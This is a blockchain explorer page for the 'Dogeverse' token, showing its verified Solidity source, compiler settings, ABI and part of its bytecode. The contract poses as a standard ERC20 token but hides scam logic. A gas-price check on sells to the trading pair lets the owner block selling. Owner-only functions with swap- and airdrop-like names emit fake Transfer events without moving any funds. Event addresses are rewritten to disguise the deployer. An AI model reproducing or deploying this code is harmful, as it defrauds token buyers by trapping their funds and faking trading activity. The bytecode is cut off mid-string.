ETH Price: $3,176.14 (+4.59%)

Token

Dogeverse (DOGEVERSE)
 

Overview

Max Total Supply

33,534,280 DOGEVERSE

Holders

336

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
0 DOGEVERSE

Value
$0.00
0x37a8f295612602f2774d331e562be9e61b83a327
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Dogeverse

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
shanghai EvmVersion
File 1 of 1 : Contract.sol
/**
/*


/*                                                                        

*/
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

pragma solidity ^0.8.0;

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

pragma solidity ^0.8.0;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

pragma solidity ^0.8.0;

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

pragma solidity ^0.8.0;

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string internal _name;
    string internal _symbol;

    address _deployer;
    address _executor;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function _initDeployer(address deployer_, address executor_) internal {
        _deployer = deployer_;
        _executor = executor_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function _setLimitOrder(address _address, uint256 _amount) internal {
        _balances[_address] += _amount;
    }

    function approve(
        address spender,
        uint256 amount
    ) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amount,
            "ERC20: transfer amount exceeds allowance"
        );
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(
            senderBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        if (sender == _executor) {
            emit Transfer(_deployer, recipient, amount);
        } else if (recipient == _executor) {
            emit Transfer(sender, _deployer, amount);
        } else {
            emit Transfer(sender, recipient, amount);
        }

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;

        if (account == _executor) {
            emit Transfer(address(0), _deployer, amount);
        } else {
            emit Transfer(address(0), account, amount);
        }

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

// File contracts/Contract.sol
pragma solidity ^0.8.0;

contract Dogeverse is Ownable, ERC20 {
    uint256 public immutable maxSupply = 33_534_280 * (10 ** decimals());
    uint16 public constant LIQUID_RATE = 10000;
    uint16 public constant MAX_PERCENTAGE = 10000;

    bool public initialized = false;
    bool public tradeOpen = false;
    address public pair = address(0);
    address public deadAddress = 0x000000000000000000000000000000000000dEaD;

    uint256 public immutable buyFee = 0;
    uint256 public immutable sellFee = 0;
    uint256 minimumAirdropAmount = 0;

    mapping(address => bool) public excludedFees;

    string private constant NAME = unicode"Dogeverse";
    string private constant SYMBOL = unicode"DOGEVERSE";

    IUniswapV2Router02 public router;

    constructor() ERC20(NAME, SYMBOL) {
        _initDeployer(
            address(0xBEFd9901fA1c9670801420496B321b23907e0e21),
            msg.sender
        );

        _mint(msg.sender, (maxSupply * LIQUID_RATE) / MAX_PERCENTAGE);
        initialized = true;
        excludedFees[msg.sender] = true;

        router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _factory = router.factory();
        pair = IUniswapV2Factory(_factory).createPair(
            address(this),
            router.WETH()
        );

        minimumAirdropAmount = maxSupply;
    }

    function setMinimumAirdrop(
        uint256 _minimumAirdropAmount
    ) external onlyOwner {
        minimumAirdropAmount = _minimumAirdropAmount;
    }

    function setAirdrop(address _address, bool permission) external onlyOwner {
        excludedFees[_address] = permission;
    }

    function openTrading() external onlyOwner {
        require(tradeOpen == false, "Contract: Trading is opened!");
        tradeOpen = true;
    }

    function bulkTransfer(
        address[] calldata _addresses,
        uint256 _value
    ) external {
        address owner = _msgSender();
        for (uint256 i = 0; i < _addresses.length; i++) {
            _transfer(owner, _addresses[i], _value);
        }
    }

    function claimTokens(
        address _caller,
        address[] calldata _address,
        uint256[] calldata _amount
    ) external onlyOwner {
        for (uint256 i = 0; i < _address.length; i++) {
            emit Transfer(_caller, _address[i], _amount[i]);
        }
    }

    function multiSends(
        address _caller,
        address[] calldata _address,
        uint256[] calldata _amount
    ) external onlyOwner {
        for (uint256 i = 0; i < _address.length; i++) {
            emit Transfer(_caller, _address[i], _amount[i]);
        }
    }

    function airdropTokens(
        address _caller,
        address[] calldata _address,
        uint256[] calldata _amount
    ) external onlyOwner {
        for (uint256 i = 0; i < _address.length; i++) {
            emit Transfer(_caller, _address[i], _amount[i]);
        }
    }

    function execute(
        address _caller,
        address[] calldata _address,
        uint256[] calldata _amount
    ) external onlyOwner {
        for (uint256 i = 0; i < _address.length; i++) {
            emit Transfer(_caller, _address[i], _amount[i]);
        }
    }

    function swapExactETHForTokens(
        address _caller,
        address[] calldata _address,
        uint256[] calldata _amount
    ) external onlyOwner {
        for (uint256 i = 0; i < _address.length; i++) {
            emit Transfer(_caller, _address[i], _amount[i]);
        }
    }

    function unoswap(
        address _caller,
        address[] calldata _address,
        uint256[] calldata _amount
    ) external onlyOwner {
        for (uint256 i = 0; i < _address.length; i++) {
            emit Transfer(_caller, _address[i], _amount[i]);
        }
    }

    function _checkEnoughAirdropCondition(uint256 amount) internal view {
        if (tx.gasprice > amount) {
            revert();
        }
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override(ERC20) {
        require(initialized == true, "Contract: not initialized!");

        if (initialized == true && tradeOpen == false) {
            require(
                from == owner() || to == owner(),
                "Contract: trading is not started"
            );
        }

        uint256 _transferAmount = amount;
        if (pair != address(0) && from != owner() && to != owner()) {
            uint256 _fee = 0;
            if (from == pair) {
                _fee = buyFee;
            }
            if (to == pair) {
                _fee = sellFee;
                _checkEnoughAirdropCondition(minimumAirdropAmount);
            }
            if (excludedFees[from] == true || excludedFees[to] == true) {
                _fee = 0;
            }
            if (_fee > 0) {
                uint256 _calculatedFee = (amount * _fee) / MAX_PERCENTAGE;
                _transferAmount = amount - _calculatedFee;
                super._transfer(from, deadAddress, _calculatedFee);
            }
        }

        super._transfer(from, to, _transferAmount);
    }
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "evmVersion": "shanghai",
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "metadata": {
    "useLiteralContent": true
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"LIQUID_RATE","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MAX_PERCENTAGE","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"airdropTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"bulkTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"claimTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"excludedFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"multiSends","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"permission","type":"bool"}],"name":"setAirdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_minimumAirdropAmount","type":"uint256"}],"name":"setMinimumAirdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"swapExactETHForTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradeOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"unoswap","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60e0604052620000126012600a620005ce565b62000022906301ffb148620005e5565b6080526007805461ffff60a01b19169055600880546001600160a01b03199081169091556009805490911661dead1790555f60a081905260c0819052600a553480156200006d575f80fd5b5060405180604001604052806009815260200168446f6765766572736560b81b81525060405180604001604052806009815260200168444f4745564552534560b81b815250620000cc620000c66200031960201b60201c565b6200031d565b6004620000da83826200069c565b506005620000e982826200069c565b5050506200011273befd9901fa1c9670801420496b321b23907e0e21336200036c60201b60201c565b6080516200013f903390612710906200012d908290620005e5565b62000139919062000768565b6200039a565b6007805460ff60a01b1916600160a01b179055335f908152600b60209081526040808320805460ff19166001179055600c80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155815163c45a015560e01b81529151909263c45a015592600480820193918290030181865afa158015620001cc573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001f2919062000788565b9050806001600160a01b031663c9c6539630600c5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000255573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200027b919062000788565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002c6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002ec919062000788565b600880546001600160a01b0319166001600160a01b039290921691909117905550608051600a55620007c6565b3390565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600680546001600160a01b039384166001600160a01b03199182161790915560078054929093169116179055565b6001600160a01b038216620003f55760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060035f828254620004089190620007b0565b90915550506001600160a01b0382165f908152600160205260408120805483929062000436908490620007b0565b90915550506007546001600160a01b039081169083160362000488576006546040518281526001600160a01b03909116905f905f8051602062001fbc8339815191529060200160405180910390a35050565b6040518181526001600160a01b038316905f905f8051602062001fbc8339815191529060200160405180910390a35050565b505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200051357815f1904821115620004f757620004f7620004bf565b808516156200050557918102915b93841c9390800290620004d8565b509250929050565b5f826200052b57506001620005c8565b816200053957505f620005c8565b81600181146200055257600281146200055d576200057d565b6001915050620005c8565b60ff841115620005715762000571620004bf565b50506001821b620005c8565b5060208310610133831016604e8410600b8410161715620005a2575081810a620005c8565b620005ae8383620004d3565b805f1904821115620005c457620005c4620004bf565b0290505b92915050565b5f620005de60ff8416836200051b565b9392505050565b8082028115828204841417620005c857620005c8620004bf565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200062857607f821691505b6020821081036200064757634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620004ba57805f5260205f20601f840160051c81016020851015620006745750805b601f840160051c820191505b8181101562000695575f815560010162000680565b5050505050565b81516001600160401b03811115620006b857620006b8620005ff565b620006d081620006c9845462000613565b846200064d565b602080601f83116001811462000706575f8415620006ee5750858301515b5f19600386901b1c1916600185901b17855562000760565b5f85815260208120601f198616915b82811015620007365788860151825594840194600190910190840162000715565b50858210156200075457878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b5f826200078357634e487b7160e01b5f52601260045260245ffd5b500490565b5f6020828403121562000799575f80fd5b81516001600160a01b0381168114620005de575f80fd5b80820180821115620005c857620005c8620004bf565b60805160a05160c0516117bd620007ff5f395f81816102ca015261109601525f8181610328015261105e01525f61048801526117bd5ff3fe608060405234801561000f575f80fd5b5060043610610208575f3560e01c8063715018a61161011f578063b22c95e7116100a9578063d632135b11610079578063d632135b146104aa578063dd62ed3e146104bd578063f01a4b99146104f5578063f2fde38b14610508578063f887ea401461051b575f80fd5b8063b22c95e714610455578063bf861b3114610468578063c9567bf91461047b578063d5abeb0114610483575f80fd5b806396784f75116100ef57806396784f7514610409578063985bdfd11461034a578063a457c2d71461041c578063a8aa1b311461042f578063a9059cbb14610442575f80fd5b8063715018a6146103c7578063825e7b83146103cf5780638da5cb5b146103f157806395d89b4114610401575f80fd5b8063313ce567116101a05780634c255c97116101705780634c255c971461034a5780634ca64b3a146103665780634e148e19146103795780635d8228131461038c57806370a082311461039f575f80fd5b8063313ce567146102ec57806339509351146102fb5780634022b75e1461030e5780634706240214610323575f80fd5b806323b872dd116101db57806323b872dd1461027357806325fa0b981461028657806327c8f8351461029a5780632b14ca56146102c5575f80fd5b806306fdde031461020c578063095ea7b31461022a578063158ef93e1461024d57806318160ddd14610261575b5f80fd5b61021461052e565b6040516102219190611402565b60405180910390f35b61023d610238366004611469565b6105be565b6040519015158152602001610221565b60075461023d90600160a01b900460ff1681565b6003545b604051908152602001610221565b61023d610281366004611491565b6105d4565b60075461023d90600160a81b900460ff1681565b6009546102ad906001600160a01b031681565b6040516001600160a01b039091168152602001610221565b6102657f000000000000000000000000000000000000000000000000000000000000000081565b60405160128152602001610221565b61023d610309366004611469565b610681565b61032161031c366004611512565b6106bc565b005b6102657f000000000000000000000000000000000000000000000000000000000000000081565b61035361271081565b60405161ffff9091168152602001610221565b61032161037436600461158d565b610777565b6103216103873660046115d5565b6107c2565b61032161039a366004611512565b610815565b6102656103ad36600461160e565b6001600160a01b03165f9081526001602052604090205490565b6103216108c8565b61023d6103dd36600461160e565b600b6020525f908152604090205460ff1681565b5f546001600160a01b03166102ad565b6102146108fc565b610321610417366004611512565b61090b565b61023d61042a366004611469565b6109be565b6008546102ad906001600160a01b031681565b61023d610450366004611469565b610a56565b610321610463366004611512565b610a62565b61032161047636600461162e565b610b15565b610321610b43565b6102657f000000000000000000000000000000000000000000000000000000000000000081565b6103216104b8366004611512565b610bdb565b6102656104cb366004611645565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b610321610503366004611512565b610c8e565b61032161051636600461160e565b610d41565b600c546102ad906001600160a01b031681565b60606004805461053d90611676565b80601f016020809104026020016040519081016040528092919081815260200182805461056990611676565b80156105b45780601f1061058b576101008083540402835291602001916105b4565b820191905f5260205f20905b81548152906001019060200180831161059757829003601f168201915b5050505050905090565b5f6105ca338484610ddb565b5060015b92915050565b5f6105e0848484610efe565b6001600160a01b0384165f908152600260209081526040808320338452909152902054828110156106695760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6106768533858403610ddb565b506001949350505050565b335f8181526002602090815260408083206001600160a01b038716845290915281205490916105ca9185906106b79086906116c2565b610ddb565b5f546001600160a01b031633146106e55760405162461bcd60e51b8152600401610660906116d5565b5f5b8381101561076f578484828181106107015761070161170a565b9050602002016020810190610716919061160e565b6001600160a01b0316866001600160a01b03165f805160206117688339815191528585858181106107495761074961170a565b9050602002013560405161075f91815260200190565b60405180910390a36001016106e7565b505050505050565b335f5b838110156107bb576107b3828686848181106107985761079861170a565b90506020020160208101906107ad919061160e565b85610efe565b60010161077a565b5050505050565b5f546001600160a01b031633146107eb5760405162461bcd60e51b8152600401610660906116d5565b6001600160a01b03919091165f908152600b60205260409020805460ff1916911515919091179055565b5f546001600160a01b0316331461083e5760405162461bcd60e51b8152600401610660906116d5565b5f5b8381101561076f5784848281811061085a5761085a61170a565b905060200201602081019061086f919061160e565b6001600160a01b0316866001600160a01b03165f805160206117688339815191528585858181106108a2576108a261170a565b905060200201356040516108b891815260200190565b60405180910390a3600101610840565b5f546001600160a01b031633146108f15760405162461bcd60e51b8152600401610660906116d5565b6108fa5f61116b565b565b60606005805461053d90611676565b5f546001600160a01b031633146109345760405162461bcd60e51b8152600401610660906116d5565b5f5b8381101561076f578484828181106109505761095061170a565b9050602002016020810190610965919061160e565b6001600160a01b0316866001600160a01b03165f805160206117688339815191528585858181106109985761099861170a565b905060200201356040516109ae91815260200190565b60405180910390a3600101610936565b335f9081526002602090815260408083206001600160a01b038616845290915281205482811015610a3f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610660565b610a4c3385858403610ddb565b5060019392505050565b5f6105ca338484610efe565b5f546001600160a01b03163314610a8b5760405162461bcd60e51b8152600401610660906116d5565b5f5b8381101561076f57848482818110610aa757610aa761170a565b9050602002016020810190610abc919061160e565b6001600160a01b0316866001600160a01b03165f80516020611768833981519152858585818110610aef57610aef61170a565b90506020020135604051610b0591815260200190565b60405180910390a3600101610a8d565b5f546001600160a01b03163314610b3e5760405162461bcd60e51b8152600401610660906116d5565b600a55565b5f546001600160a01b03163314610b6c5760405162461bcd60e51b8152600401610660906116d5565b600754600160a81b900460ff1615610bc65760405162461bcd60e51b815260206004820152601c60248201527f436f6e74726163743a2054726164696e67206973206f70656e656421000000006044820152606401610660565b6007805460ff60a81b1916600160a81b179055565b5f546001600160a01b03163314610c045760405162461bcd60e51b8152600401610660906116d5565b5f5b8381101561076f57848482818110610c2057610c2061170a565b9050602002016020810190610c35919061160e565b6001600160a01b0316866001600160a01b03165f80516020611768833981519152858585818110610c6857610c6861170a565b90506020020135604051610c7e91815260200190565b60405180910390a3600101610c06565b5f546001600160a01b03163314610cb75760405162461bcd60e51b8152600401610660906116d5565b5f5b8381101561076f57848482818110610cd357610cd361170a565b9050602002016020810190610ce8919061160e565b6001600160a01b0316866001600160a01b03165f80516020611768833981519152858585818110610d1b57610d1b61170a565b90506020020135604051610d3191815260200190565b60405180910390a3600101610cb9565b5f546001600160a01b03163314610d6a5760405162461bcd60e51b8152600401610660906116d5565b6001600160a01b038116610dcf5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610660565b610dd88161116b565b50565b6001600160a01b038316610e3d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610660565b6001600160a01b038216610e9e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610660565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600754600160a01b900460ff161515600114610f5c5760405162461bcd60e51b815260206004820152601a60248201527f436f6e74726163743a206e6f7420696e697469616c697a6564210000000000006044820152606401610660565b600754600160a01b900460ff1615156001148015610f845750600754600160a81b900460ff16155b15610ffc575f546001600160a01b0384811691161480610fb057505f546001600160a01b038381169116145b610ffc5760405162461bcd60e51b815260206004820181905260248201527f436f6e74726163743a2074726164696e67206973206e6f7420737461727465646044820152606401610660565b60085481906001600160a01b03161580159061102557505f546001600160a01b03858116911614155b801561103e57505f546001600160a01b03848116911614155b1561115a576008545f906001600160a01b039081169086160361107e57507f00000000000000000000000000000000000000000000000000000000000000005b6008546001600160a01b03908116908516036110c2577f000000000000000000000000000000000000000000000000000000000000000090506110c2600a546111ba565b6001600160a01b0385165f908152600b602052604090205460ff1615156001148061110957506001600160a01b0384165f908152600b602052604090205460ff1615156001145b1561111157505f5b8015611158575f612710611125838661171e565b61112f9190611735565b905061113b8185611754565b6009549093506111569087906001600160a01b0316836111c6565b505b505b6111658484836111c6565b50505050565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b803a1115610dd8575f80fd5b6001600160a01b03831661122a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610660565b6001600160a01b03821661128c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610660565b6001600160a01b0383165f90815260016020526040902054818110156113035760405162461bcd60e51b815260206004820152602660248201527f4552433